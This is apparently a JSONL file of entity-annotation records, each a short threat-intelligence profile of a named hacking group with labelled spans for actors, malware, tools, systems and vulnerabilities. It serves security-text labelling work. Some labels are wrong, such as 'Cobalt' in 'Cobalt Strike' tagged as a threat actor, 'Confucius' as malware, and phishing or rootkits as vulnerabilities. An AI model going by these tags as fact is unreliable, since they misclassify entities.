+{"text": "BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. \nCTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.", "spans": {"THREAT_ACTOR: BRONZE STARLIGHT": [[0, 16], [248, 264], [449, 465], [640, 656]], "THREAT_ACTOR: Cobalt": [[160, 166]], "TOOL: Cobalt Strike": [[160, 173]], "MALWARE: HUI Loader": [[141, 151], [537, 547]], "MALWARE: PlugX": [[178, 183], [552, 557]]}, "info": {"source": "apt_reports", "name": "BRONZE STARLIGHT"}}
+{"text": "BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017.  The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications.  CTU researchers assess BRONZE VAPOR's intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation).  Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).\n\nPrior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularity Taiwan with it's thriving semiconductor industry. In 2021 details emerged in open source of attacks on at least one European semiconductor company believed to date back to 2017.  In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations.  Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.\n\nBRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook.  Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access.  Cobalt Strike is deployed into the environment and further access is then conducted via Cobalt Strike Beacon and other features of the platform.  Sharphound is deployed to map out the victim's Active Directory infrastructure and and collect critical information about the domain including important account names.  Command and control infrastructure is hosted on subdomains of Azure and Appspot services to blend in with legitimate traffic. The threat actor also registers their own domains for command and control, often with a \"sync\" or \"update\" related theme. WinRAR is commonly used for compressing data prior to exfiltration.  Filenames for these archives often involve a string of numbers and variations of the word \"update\".  Data is exfiltrated using WATERCYCLE to cloud based platforms such as OneDrive and GoogleDrive.", "spans": {"THREAT_ACTOR: BRONZE VAPOR": [[0, 12], [208, 220], [397, 409], [1050, 1062], [1630, 1642]], "THREAT_ACTOR: Cobalt": [[1252, 1258], [1903, 1909], [1991, 1997]], "TOOL: WinRAR": [[2466, 2472]], "TOOL: Cobalt Strike": [[1252, 1265], [1903, 1916], [1991, 2004]], "TOOL: Cobalt Strike Beacon": [[1991, 2011]], "TOOL: Sharphound": [[2049, 2059]], "SYSTEM: Citrix": [[1861, 1867]], "SYSTEM: VPN": [[1161, 1164], [1869, 1872]], "SYSTEM: Microsoft Exchange": [[1590, 1608]], "SYSTEM: Active Directory": [[2096, 2112]], "SYSTEM: Azure": [[2280, 2285]], "ORGANIZATION: Microsoft": [[1590, 1599]], "VULNERABILITY: spearphishing": [[1183, 1196]]}, "info": {"source": "apt_reports", "name": "BRONZE VAPOR"}}
+{"text": "Based on the evidence we have presented Symantec attributed the activity involving theDripion malware to the Budminer advanced threat group. While we have not seen newcampaigns using Taidoor malware since 2014, we believe the Budminer group has changedtactics to avoid detection after being outed publicly in security white papers and blogs over thepast few years.", "spans": {"THREAT_ACTOR: Budminer": [[109, 117], [226, 234]], "THREAT_ACTOR: Taidoor": [[183, 190]], "SYSTEM: Symantec": [[40, 48]]}, "info": {"source": "apt_reports", "name": "Budminer"}}
+{"text": "Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks.\nFrom August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified.\nBuhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses.\nMalicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.", "spans": {"THREAT_ACTOR: Buhtrap": [[0, 7], [303, 310], [510, 517]]}, "info": {"source": "apt_reports", "name": "BuhTrap"}}
+{"text": "ByteToBreach is a prolific cybercriminal who operates across multiple platforms, including DarkForums and Telegram, and has been active since at least June 2025. He exploits known vulnerabilities in cloud and corporate infrastructure, reuses stolen credentials, and employs brute force or misconfiguration tactics for initial access, focusing on data exfiltration of sensitive information from high-value targets. ByteToBreach has established a professional-looking website to promote his services and has demonstrated credible activity, with many of his claims supported by verifiable proof.", "spans": {"THREAT_ACTOR: ByteToBreach": [[0, 12], [414, 426]], "SYSTEM: Telegram": [[106, 114]], "VULNERABILITY: brute force": [[274, 285]]}, "info": {"source": "apt_reports", "name": "ByteToBreach"}}
+{"text": "Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.", "spans": {"THREAT_ACTOR: Cadelle": [[30, 37]], "THREAT_ACTOR: Chafer": [[42, 48]], "SYSTEM: Symantec": [[0, 8], [353, 361]]}, "info": {"source": "apt_reports", "name": "Cadelle"}}
+{"text": "Caliente Bandits is a highly active threat group that targets multiple industries, including finance and entertainment. They distribute the Bandook remote access trojan using Spanish-language lures through low-volume email campaigns. The group primarily impacts individuals with Spanish surnames and conducts reconnaissance to obtain employee data. They masquerade as companies in South America and use Hotmail or Gmail email addresses.", "spans": {"THREAT_ACTOR: Caliente Bandits": [[0, 16]], "SYSTEM: Gmail": [[414, 419]], "MALWARE: Bandook": [[140, 147]]}, "info": {"source": "apt_reports", "name": "Caliente Bandits"}}
+{"text": "The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.", "spans": {"THREAT_ACTOR: Callisto": [[4, 12]]}, "info": {"source": "apt_reports", "name": "Callisto"}}
+{"text": "For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.", "spans": {"THREAT_ACTOR: Calypso": [[40, 47]], "THREAT_ACTOR: Calypso group": [[40, 53]]}, "info": {"source": "apt_reports", "name": "Calypso"}}
+{"text": "In early 2023, the Check Point Incident Response Team (CPIRT) team investigated a malware incident at a European healthcare institution involving a set of tools mentioned in the Avast report in late 2022. The incident was attributed to Camaro Dragon, a Chinese-based espionage threat actor whose activities overlap with activities tracked by different researchers as Mustang Panda and LuminousMoth, whose focus is primarily on Southeast Asian countries and their close peers.", "spans": {"THREAT_ACTOR: Camaro Dragon": [[236, 249]], "THREAT_ACTOR: Mustang Panda": [[367, 380]], "SYSTEM: Avast": [[178, 183]], "ORGANIZATION: Check Point": [[19, 30]], "MALWARE: LuminousMoth": [[385, 397]]}, "info": {"source": "apt_reports", "name": "Camaro Dragon"}}
+{"text": "Caracal Kitten is an APT group that has been targeting activists associated with the Kurdistan Democratic Party. They employ a mobile remote access Trojan to gain unauthorized access to victims' devices. The group disguises their malware as legitimate mobile apps, tricking users into installing them and granting the hackers access to their personal data.", "spans": {"THREAT_ACTOR: Caracal Kitten": [[0, 14]]}, "info": {"source": "apt_reports", "name": "Caracal Kitten"}}
+{"text": "Caramel Tsunami is a threat actor that specializes in spyware attacks. They have recently resurfaced with an updated toolset and zero-day exploits, targeting specific victims through watering hole attacks. Candiru has been observed exploiting vulnerabilities in popular browsers like Google Chrome and using third-party signed drivers to gain access to the Windows kernel. They have also been linked to other spyware vendors and have been associated with extensive abuses of their surveillance tools.", "spans": {"THREAT_ACTOR: Caramel Tsunami": [[0, 15]], "SYSTEM: Chrome": [[291, 297]], "SYSTEM: Windows": [[357, 364]], "ORGANIZATION: Google": [[284, 290]], "VULNERABILITY: zero-day": [[129, 137]], "VULNERABILITY: watering hole": [[183, 196]]}, "info": {"source": "apt_reports", "name": "Caramel Tsunami"}}
+{"text": "Symantec recently reported on activity attributed to a threat actor group dubbed Carderbee. In the campaign, the threat actors target entities in Hong Kong and other regions of Asia via a supply chain attack leveraging the legitimate Cobra DocGuard software. The activity began as early as September 2022.", "spans": {"THREAT_ACTOR: Carderbee": [[81, 90]], "SYSTEM: Symantec": [[0, 8]], "VULNERABILITY: supply chain attack": [[188, 207]]}, "info": {"source": "apt_reports", "name": "Carderbee"}}
+{"text": "CardinalLizard, a cyber threat actor linked to China, has targeted entities in Asia since 2018. Their methods include spear-phishing, custom malware with anti-detection features, and potentially shared infrastructure with other actors.", "spans": {"THREAT_ACTOR: CardinalLizard": [[0, 14]], "VULNERABILITY: spear-phishing": [[118, 132]], "VULNERABILITY: phishing": [[124, 132]]}, "info": {"source": "apt_reports", "name": "CardinalLizard"}}
+{"text": "This threat actor targets governments, diplomatic missions, private companies in the energy sector, and academics for espionage purposes.\nThe Mask is an advanced threat actor that has been involved in cyber-espionage operations since at least 2007. The name \"Mask\" comes from the Spanish slang word \"Careto\" (\"Ugly Face\" or “Mask”) which the authors included in some of the malware modules.\n More than 380 unique victims in 31 countries have been observed to date.What makes “The Mask” special is the complexity of the toolset used by the attackers. This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit Windows versions, Mac OS X and Linux versions and possibly versions for Android and iPad/iPhone (Apple iOS).", "spans": {"THREAT_ACTOR: Careto": [[300, 306]], "SYSTEM: Mac OS": [[654, 660]], "SYSTEM: Android": [[708, 715]], "SYSTEM: Windows": [[636, 643]], "SYSTEM: iOS": [[739, 742]], "SYSTEM: Mac OS X": [[654, 662]], "SYSTEM: Linux": [[667, 672]], "ORGANIZATION: Apple": [[733, 738]], "VULNERABILITY: rootkit": [[602, 609]], "VULNERABILITY: bootkit": [[613, 620]]}, "info": {"source": "apt_reports", "name": "Careto"}}
+{"text": "Carmine Tsunami is a threat actor linked to an Israel-based private sector offensive actor called QuaDream. QuaDream sells a platform called REIGN to governments for law enforcement purposes, which includes exploits, malware, and infrastructure for data exfiltration from mobile devices. Carmine Tsunami is associated with the iOS malware called KingsPawn and has targeted civil society victims, including journalists, political opposition figures, and NGO workers, in various regions. They utilize domain registrars and inexpensive cloud hosting providers, often using single domains per IP address and deploying free Let's Encrypt SSL certificates.", "spans": {"THREAT_ACTOR: Carmine Tsunami": [[0, 15], [288, 303]], "SYSTEM: iOS": [[327, 330]]}, "info": {"source": "apt_reports", "name": "Carmine Tsunami"}}
+{"text": "CashRewindo is a sophisticated threat actor leveraging aged domains in global malvertising campaigns to direct victims to investment scam sites. The group employs TTPs such as flipping between scam ads and innocuous content, as well as A/B testing to exploit time-based creative verification systems. Their operations are characterized by tailored campaigns that utilize localized language and imagery across diverse regions, including Europe, Asia, Africa, and the Americas. Additionally, CashRewindo smuggles malicious code within common JavaScript libraries to enhance their effectiveness.", "spans": {"THREAT_ACTOR: CashRewindo": [[0, 11], [490, 501]]}, "info": {"source": "apt_reports", "name": "CashRewindo"}}
+{"text": "CeranaKeeper is a China-aligned APT that has been active since at least early 2022, primarily targeting governmental institutions in Asian countries. The group employs custom backdoors like TONESHELL and OneDoor, leveraging cloud services such as Dropbox and OneDrive for data exfiltration. CeranaKeeper utilizes techniques like side-loading, brute-force attacks, and the deployment of BAT scripts to extend its reach within compromised networks. Their operations are characterized by a relentless pursuit of sensitive data, adapting their toolset and methods to evade detection.", "spans": {"THREAT_ACTOR: CeranaKeeper": [[0, 12], [291, 303]], "VULNERABILITY: brute-force": [[343, 354]], "MALWARE: TONESHELL": [[190, 199]]}, "info": {"source": "apt_reports", "name": "CeranaKeeper"}}
+{"text": "ChainedShark is an APT group targeting China's scientific research sector, particularly professionals in international relations and marine technology, with the intent to steal sensitive data. The group employs advanced techniques, including executable file reconstruction to create fragmented shellcode, and utilizes social engineering tactics to exploit professional scenarios for deceptive attacks. ChainedShark demonstrates a high level of technical sophistication, integrating N-day vulnerability exploits and custom trojans within meticulously designed attack chains. Its operations reflect a mature attack infrastructure and a clear evolutionary trajectory in tactics and execution.", "spans": {"THREAT_ACTOR: ChainedShark": [[0, 12], [402, 414]]}, "info": {"source": "apt_reports", "name": "ChainedShark"}}
+{"text": "In Q2 2021, the PT Expert Security Center incident response team conducted an investigation in an energy company. The investigation revealed that the company's network had been compromised by an unknown group for the purpose of data theft. They gave the group the name ChamelGang (from the word \"chameleon\"), because the group disguised its malware and network infrastructure under legitimate services of Microsoft, TrendMicro, McAfee, IBM, and Google.", "spans": {"THREAT_ACTOR: ChamelGang": [[269, 279]], "SYSTEM: McAfee": [[428, 434]], "ORGANIZATION: Microsoft": [[405, 414]], "ORGANIZATION: IBM": [[436, 439]], "ORGANIZATION: Google": [[445, 451]]}, "info": {"source": "apt_reports", "name": "Chamelgang"}}
+{"text": "Charming Kitten (aka Parastoo, aka Newscaster) is an group with a suspected nexus to Iran that targets organizations involved in government, defense technology, military, and diplomacy sectors.", "spans": {"THREAT_ACTOR: Charming Kitten": [[0, 15]]}, "info": {"source": "apt_reports", "name": "Charming Kitten"}}
+{"text": "Chaya_004 is a Chinese threat actor identified through malicious infrastructure, including a network of servers hosting Supershell backdoors and various pen testing tools of Chinese origin. The actor's activities are linked to the exploitation of a specific vulnerability, with a focus on using Chinese cloud providers. Analysis of the infrastructure has revealed TTPs associated with Chaya_004, indicating a sophisticated approach to cyber operations. Mitigation recommendations and proactive response measures have been developed in light of these findings.", "spans": {"THREAT_ACTOR: Chaya_004": [[0, 9], [385, 394]]}, "info": {"source": "apt_reports", "name": "Chaya_004"}}
+{"text": "Chernovite is a highly capable and sophisticated threat actor group that has developed a modular ICS malware framework called PIPEDREAM. They are known for targeting industrial control systems and operational technology environments, with the ability to disrupt, degrade, and potentially destroy physical processes. Chernovite has demonstrated a deep understanding of ICS protocols and intrusion techniques, making them a significant threat to critical infrastructure sectors.", "spans": {"THREAT_ACTOR: Chernovite": [[0, 10], [316, 326]], "MALWARE: PIPEDREAM": [[126, 135]]}, "info": {"source": "apt_reports", "name": "Chernovite"}}
+{"text": "Adversaries abusing ICS (based on Dragos Inc adversary list).\nThis threat actor targets organizations involved in oil, gas, and electricity production, primarily in the Gulf region, for espionage purposes. According to one cybersecurity company, the threat actor “compromises a target machine and passes it off to another threat actor for further exploitation.”", "spans": {"ORGANIZATION: Dragos": [[34, 40]]}, "info": {"source": "apt_reports", "name": "CHRYSENE"}}
+{"text": "CiberInteligenciaSV is a threat actor that leaked 5.1 million Salvadoran records on Breach Forums. They have also compromised El Salvador's state Bitcoin wallet, Chivo, leaking its source code and VPN credentials. The group aims to obscure their involvement by associating with the Guacamaya group and its proxies.", "spans": {"THREAT_ACTOR: CiberInteligenciaSV": [[0, 19]], "THREAT_ACTOR: Guacamaya": [[282, 291]], "SYSTEM: VPN": [[197, 200]]}, "info": {"source": "apt_reports", "name": "CiberInteligenciaSV"}}
+{"text": "According to Crowdstrike, the NetWalker ransomware is being developed and maintained by a Russian-speaking actor designated as CIRCUS SPIDER. Initially discovered in September 2019and havinga compilation timestamp dating back to 28 August 2019, NetWalker has been found to be used in Big Game Hunting (BGH)-style operations while also being distributed via spam. CIRCUS SPIDER is advertising NetWalkeras being a closed-affiliate program,and verifies applicants before they are being accepted as an affiliate. The requirements rangefrom providing proof of previous revenue in similar affiliates programs, experience in the field and what type of industry the applicantis targeting.", "spans": {"THREAT_ACTOR: CIRCUS SPIDER": [[127, 140], [363, 376]]}, "info": {"source": "apt_reports", "name": "CIRCUS SPIDER"}}
+{"text": "CL-STA-0043 is a highly skilled and sophisticated threat actor, believed to be a nation-state, targeting governmental entities in the Middle East and Africa. They exploit vulnerabilities in on-premises Internet Information Services and Microsoft Exchange servers to infiltrate target networks. They engage in reconnaissance, locate vital assets, and have been observed using native Windows tools for privilege escalation.", "spans": {"THREAT_ACTOR: CL-STA-0043": [[0, 11]], "SYSTEM: Windows": [[382, 389]], "SYSTEM: Microsoft Exchange": [[236, 254]], "ORGANIZATION: Microsoft": [[236, 245]], "VULNERABILITY: privilege escalation": [[400, 420]]}, "info": {"source": "apt_reports", "name": "CL-STA-0043"}}
+{"text": "CL-STA-0048 is a Chinese state-backed APT that targets strategic sectors in South Asia, particularly government and telecommunications entities, with a focus on espionage. The group has been linked to SAP NetWeaver intrusions and employs techniques such as DNS beaconing using ping commands and exploiting unpatched vulnerabilities in services like IIS, Apache Tomcat, and MSSQL. Analysts have observed its use of reverse shell commands and command-and-control traffic directed to specific IP addresses. The actor adapts its methods to evade detection and maintain persistent access to high-value networks.", "spans": {"THREAT_ACTOR: CL-STA-0048": [[0, 11]], "SYSTEM: SAP": [[201, 204]], "SYSTEM: Tomcat": [[361, 367]], "SYSTEM: IIS": [[349, 352]], "SYSTEM: Apache": [[354, 360]]}, "info": {"source": "apt_reports", "name": "CL-STA-0048"}}
+{"text": "CL-STA-1009 is a threat activity cluster associated with a suspected nation-state actor utilizing the Airstalk malware family, which includes both PowerShell and .NET variants. The .NET variant features a multi-threaded C2 protocol, versioning, and complex tasks, employing defense evasion techniques such as signed binaries with a revoked certificate and manipulation of PE timestamps. The malware is believed to have been used in supply chain attacks, with a development timeline established through signed timestamps. The persistent threat posed by this actor is underscored by the adaptive nature of the malware.", "spans": {"THREAT_ACTOR: CL-STA-1009": [[0, 11]], "TOOL: PowerShell": [[147, 157]], "SYSTEM: .NET": [[162, 166], [181, 185]], "MALWARE: Airstalk": [[102, 110]]}, "info": {"source": "apt_reports", "name": "CL-STA-1009"}}
+{"text": "CL-STA-1087 is a suspected state-sponsored espionage campaign operating out of China, targeting military organizations in Southeast Asia. The actor has demonstrated operational patience, maintaining dormant access for extended periods while focusing on precision intelligence collection and employing robust operational security measures. Their infrastructure includes the use of a legitimate cloud service for C2 operations, indicating a cloud-native approach. File timestamps and other indicators trace the campaign's activity back to 2020, suggesting a long-running operation.", "spans": {"THREAT_ACTOR: CL-STA-1087": [[0, 11]]}, "info": {"source": "apt_reports", "name": "CL-STA-1087"}}
+{"text": "A group of cyber actors utilizing infrastructure located in Iran have been conducting computer network exploitation activity against public and private U.S. organizations, including Cleared Defense Contractors (CDCs), academic institutions, and energy sector companies. This threat actor targets entities in the government, energy, and technology sectors that are located in or do business with Saudi Arabia.", "spans": {}, "info": {"source": "apt_reports", "name": "Cleaver"}}
+{"text": "Opportunistic actor that installs custom root certificate on victim to support man-in-the-middle network monitoring.", "spans": {"VULNERABILITY: man-in-the-middle": [[79, 96]]}, "info": {"source": "apt_reports", "name": "CLOCKWORK SPIDER"}}
+{"text": "CloudSorcerer is a sophisticated APT targeting Russian government entities, utilizing cloud infrastructure for stealth monitoring and data exfiltration. The malware leverages APIs and authentication tokens to access cloud resources for command and control, with GitHub serving as its initial C2 server. CloudSorcerer operates as separate modules depending on the process it's running in, executing from a single executable and utilizing complex inter-process communication through Windows pipes. The actor behind CloudSorcerer shows similarities to the CloudWizard APT in modus operandi, but the unique code and functionality suggest it is a new threat actor inspired by previous techniques.", "spans": {"THREAT_ACTOR: CloudSorcerer": [[0, 13], [303, 316], [513, 526]], "SYSTEM: GitHub": [[262, 268]], "SYSTEM: Windows": [[481, 488]]}, "info": {"source": "apt_reports", "name": "CloudSorcerer"}}
+{"text": "A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.", "spans": {"THREAT_ACTOR: Cobalt": [[24, 30]]}, "info": {"source": "apt_reports", "name": "Cobalt"}}
+{"text": "COBALT JUNO has operated since at least 2013 and focused on targets located in the Middle East including Iran, Jordan, Egypt & Lebanon. COBALT JUNO custom spyware families SABER1 and SABER2, include surveillance functionality and masquerade as legitimate software utilities such as Adobe Updater, StickyNote and ASKDownloader. CTU researchers assess with moderate confidence that COBALT JUNO operated the ZooPark Android spyware since at least mid-2015. ZooPark was publicly exposed in 2018 in both vendor reporting and a high profile leak of C2 server data. COBALT JUNO is linked to a private security company in Iran and outsources aspects of tool development work to commercial software developers. CTU researchers have observed the group using strategic web compromises to deliver malware. CTU researchers’ discovery of new C2 domains in 2019 suggest the group is still actively performing operations.", "spans": {"THREAT_ACTOR: COBALT JUNO": [[0, 11], [136, 147], [380, 391], [559, 570]], "THREAT_ACTOR: ZooPark": [[405, 412], [454, 461]], "SYSTEM: Android": [[413, 420]]}, "info": {"source": "apt_reports", "name": "COBALT JUNO"}}
+{"text": "COBALT KATANA has been active since at least March 2018, and it focuses many of its operations on organizations based in or associated with Kuwait. The group has targeted government, logistics, and shipping organizations. The threat actors gain initial access to targets using DNS hijacking, strategic web compromise with SMB forced authentication, and password brute force attacks. COBALT KATANA operates a custom platform referred to as the Sakabota Framework, also referred to as Sakabota Core, with a complimentary set of modular backdoors and accessory tools including Gon, Hisoka, Hisoka Netero, Killua, Diezen, and Eye. The group has implemented DNS tunnelling in its malware and malicious scripts and also operates the HyphenShell web shell to strengthen post-intrusion access. CTU researchers assess with moderate confidence that COBALT KATANA operates on behalf of Iran, and elements of its operations such as overlapping infrastructure, use of DNS hijacking, implementation of DNS-based C2 channels in malware and web shell security mechanisms suggest connections to COBALT GYPSY and COBALT EDGEWATER.", "spans": {"THREAT_ACTOR: COBALT KATANA": [[0, 13], [383, 396], [839, 852]], "SYSTEM: SMB": [[322, 325]], "VULNERABILITY: DNS hijacking": [[277, 290], [955, 968]], "VULNERABILITY: brute force": [[362, 373]]}, "info": {"source": "apt_reports", "name": "COBALT KATANA"}}
+{"text": "Codefinger is a ransomware group that targets Amazon S3 buckets by exploiting AWS’s Server-Side Encryption with Customer Provided Keys to encrypt victim data. They utilize compromised AWS credentials to gain access and demand Bitcoin ransoms for the decryption keys, threatening to delete files if negotiations fail. The group has been observed abusing publicly disclosed AWS keys with permissions to read and write S3 objects, making recovery impossible without their cooperation. Halcyon has documented multiple incidents linked to Codefinger's data extortion campaign against organizations with unsecured infrastructure.", "spans": {"THREAT_ACTOR: Codefinger": [[0, 10], [534, 544]], "SYSTEM: AWS": [[78, 81], [184, 187], [372, 375]], "ORGANIZATION: Amazon": [[46, 52]]}, "info": {"source": "apt_reports", "name": "Codefinger"}}
+{"text": "Coinbase Cartel is a ransomware threat actor that emerged in September 2025, focusing on data exfiltration rather than encryption, and has claimed over 60 victims, primarily in the healthcare, technology, and transportation sectors. The group employs TTPs such as social engineering, credential harvesting, and collaboration with Initial Access Brokers to gain initial access. They operate a data leak site where they publish victim names and issue ransom demands, requiring payment via Bitcoin.", "spans": {"THREAT_ACTOR: Coinbase Cartel": [[0, 15]]}, "info": {"source": "apt_reports", "name": "Coinbase Cartel"}}
+{"text": "In short, “Cold River” is a sophisticated threat (actor) that utilizes DNS subdomain hijacking, certificate spoofing, and covert tunneled command and control traffic in combination with complex and convincing lure documents and custom implants.", "spans": {"THREAT_ACTOR: Cold River": [[11, 21]]}, "info": {"source": "apt_reports", "name": "Cold River"}}
+{"text": "ComicForm is an emerging cyber threat actor tracked since at least April 2025, specializing in targeted phishing campaigns against organizations in Eurasian countries including Belarus, Kazakhstan, and Russia, often in sectors like banking, production, and critical infrastructure. The group deploys FormBook infostealer malware via sophisticated loaders: an obfuscated .NET executable unpacks MechMatrix Pro.dll, which decrypts and executes Montero.dll dropper in memory to deliver FormBook, establishing persistence through scheduled tasks and antivirus exclusions while evading detection. Malware binaries uniquely embed Tumblr links to innocuous comic superhero GIFs (e.g., Batman), from which the actor derives its name, alongside phishing lures themed around recruitment, quotes, or production facilities using Russian free email services like Rivet_kz. Active through at least September 2025 with no confirmed overlaps to other actors like pro-Russian SectorJ149 despite concurrent Eurasian operations, ComicForm demonstrates proficiency in commodity malware customization and regional targeting.", "spans": {"THREAT_ACTOR: ComicForm": [[0, 9], [1010, 1019]], "SYSTEM: .NET": [[370, 374]], "VULNERABILITY: phishing": [[104, 112], [736, 744]]}, "info": {"source": "apt_reports", "name": "ComicForm"}}
+{"text": "Threat actor Common Raven has been actively targeting financial sector institutions, compromising their SWIFT payment infrastructure to send out fraudulent payments.", "spans": {"THREAT_ACTOR: Common Raven": [[13, 25]]}, "info": {"source": "apt_reports", "name": "Common Raven"}}
+{"text": "Confucius is an APT organization funded by India. It has been carrying out cyber attacks since 2013. Its main targets are India's neighbouring countries such as Pakistan and China. It has a strong interest in targets in the fields of military, government and energy.", "spans": {"MALWARE: Confucius": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Confucious"}}
+{"text": "Conquerors Electronic Army operates under the “Wa’d al-Akhira” banner and has claimed multiple attacks against Israeli targets, including civil emergency alerting and healthcare sectors, utilizing rented stresser infrastructure and CheckHost proof-of-disruption links. The group has embedded links to a UK-registered charity in their operations, suggesting a potential disruption attempt rather than solely an information operation. Security company Radware identified Conquerors Electronic Army as one of the primary actors behind a series of DDoS attacks targeting government entities in the Middle East. Their activities indicate a focus on both disruptive and influence operations.", "spans": {"THREAT_ACTOR: Conquerors Electronic Army": [[0, 26], [469, 495]], "VULNERABILITY: DDoS": [[544, 548]]}, "info": {"source": "apt_reports", "name": "Conquerors Electronic Army"}}
+{"text": "Contagious Interview is a North Korea–aligned threat group active since 2023. The group conducts both cyberespionage and financially motivated operations, including the theft of cryptocurrency and user credentials. Contagious Interview targets Windows, Linux, and macOS systems, with a particular focus on individuals engaged in software development and cryptocurrency-related activities.", "spans": {"THREAT_ACTOR: Contagious Interview": [[0, 20], [215, 235]], "SYSTEM: macOS": [[264, 269]], "SYSTEM: Windows": [[244, 251]], "SYSTEM: Linux": [[253, 258]]}, "info": {"source": "apt_reports", "name": "Contagious Interview"}}
+{"text": "The title ‘Copy-paste compromises’ is derived from the actor’s heavy use of tools copied almost identically from open source given by The Australian Government.", "spans": {"THREAT_ACTOR: Copy-paste": [[11, 21]]}, "info": {"source": "apt_reports", "name": "Copy-Paste"}}
+{"text": "CoralRaider is a financially motivated threat actor of Vietnamese origin, targeting victims in Asian and Southeast Asian countries since at least 2023. They use the RotBot loader family and XClient stealer to steal victim information, with hardcoded Vietnamese words in their payloads. CoralRaider operates from Hanoi, Vietnam, and uses a Telegram bot as a C2 channel for their malicious campaigns. Their activities include system reconnaissance, data exfiltration, and targeting victims in multiple countries in the region.", "spans": {"THREAT_ACTOR: CoralRaider": [[0, 11], [286, 297]], "SYSTEM: Telegram": [[339, 347]]}, "info": {"source": "apt_reports", "name": "CoralRaider"}}
+{"text": "CosmicBeetle is a threat actor known for deploying the ScRansom ransomware, which has replaced its previous variant, Scarab. The actor utilizes a custom toolset called Spacecolon, consisting of ScHackTool, ScInstaller, and ScService, to gain initial access through RDP brute forcing and exploiting vulnerabilities like CVE-2020-1472 and FortiOS SSL-VPN. CosmicBeetle has been observed impersonating the LockBit ransomware gang to leverage its reputation and has shown a tendency to leave artifacts on compromised systems. The group primarily targets SMBs globally, employing techniques such as credential dumping and data destruction.", "spans": {"CVE_ID: CVE-2020-1472": [[319, 332]], "THREAT_ACTOR: CosmicBeetle": [[0, 12], [354, 366]], "THREAT_ACTOR: Scarab": [[117, 123]], "TOOL: RDP": [[265, 268]], "SYSTEM: FortiOS": [[337, 344]], "SYSTEM: VPN": [[349, 352]], "VULNERABILITY: credential dumping": [[594, 612]]}, "info": {"source": "apt_reports", "name": "CosmicBeetle"}}
+{"text": "Cosmic Lynx is a Russia-based BEC cybercriminal organization that has significantly impacted the email threat landscape with sophisticated, high-dollar phishing attacks.", "spans": {"THREAT_ACTOR: Cosmic Lynx": [[0, 11]], "VULNERABILITY: phishing": [[152, 160]], "MALWARE: Lynx": [[7, 11]]}, "info": {"source": "apt_reports", "name": "Cosmic Lynx"}}
+{"text": "CostaRicto is a cyber-espionage threat actor that operates as a mercenary group, offering its services to various clients globally. They use bespoke malware tools and sophisticated techniques like VPN proxy and SSH tunnelling. While their targets are scattered across different regions, there is a concentration in South Asia.", "spans": {"THREAT_ACTOR: CostaRicto": [[0, 10]], "TOOL: SSH": [[211, 214]], "SYSTEM: VPN": [[197, 200]]}, "info": {"source": "apt_reports", "name": "CostaRicto"}}
+{"text": "Cotton Sandstorm is an Iranian threat actor involved in hack-and-leak operations. They have targeted various organizations, including the French satirical magazine Charlie Hebdo, where they obtained and leaked personal information of over 200,000 customers. The group has been linked to the Iranian government and has been sanctioned by the US Treasury", "spans": {"THREAT_ACTOR: Cotton Sandstorm": [[0, 16]]}, "info": {"source": "apt_reports", "name": "Cotton Sandstorm"}}
